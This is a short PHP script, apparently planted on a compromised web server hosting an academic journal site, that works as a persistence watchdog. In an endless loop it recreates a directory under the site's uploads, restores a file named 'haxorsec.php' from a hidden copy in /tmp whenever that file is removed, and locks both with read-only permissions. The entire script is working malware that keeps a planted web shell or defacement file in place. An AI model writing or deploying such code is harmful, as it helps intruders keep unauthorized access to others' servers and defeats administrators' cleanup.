
<?php
@ini_set("max_execution_time", 0);
while (True){
    if (!file_exists("/home2/jopsoaor/public_html/check/uploads/journals/1/articles/124")){
        mkdir("/home2/jopsoaor/public_html/check/uploads/journals/1/articles/124");
    }
    if (!file_exists("/home2/jopsoaor/public_html/plugins/reports/views/locale/sv_SE/haxorsec.php")){
        $text = base64_encode(file_get_contents("/tmp/.sessions/.L2hvbWUyL2pvcHNvYW9yL3B1YmxpY19odG1sL3BsdWdpbnMvcmVwb3J0cy92aWV3cy9sb2NhbGUvc3ZfU0VoYXhvcnNlYy10ZXh0"));
        file_put_contents("/home2/jopsoaor/public_html/plugins/reports/views/locale/sv_SE/haxorsec.php", base64_decode($text));
    }
    if (haxorsec_perm("/home2/jopsoaor/public_html/plugins/reports/views/locale/sv_SE/haxorsec.php") != 0444){
        chmod("/home2/jopsoaor/public_html/plugins/reports/views/locale/sv_SE/haxorsec.php", 0444);
    }
    if (haxorsec_perm("/home2/jopsoaor/public_html/check/uploads/journals/1/articles/124") != 0555){
        chmod("/home2/jopsoaor/public_html/check/uploads/journals/1/articles/124", 0555);
    }
}

function haxorsec_perm($flename){
    return substr(sprintf("%o", fileperms($flename)), -4);
}
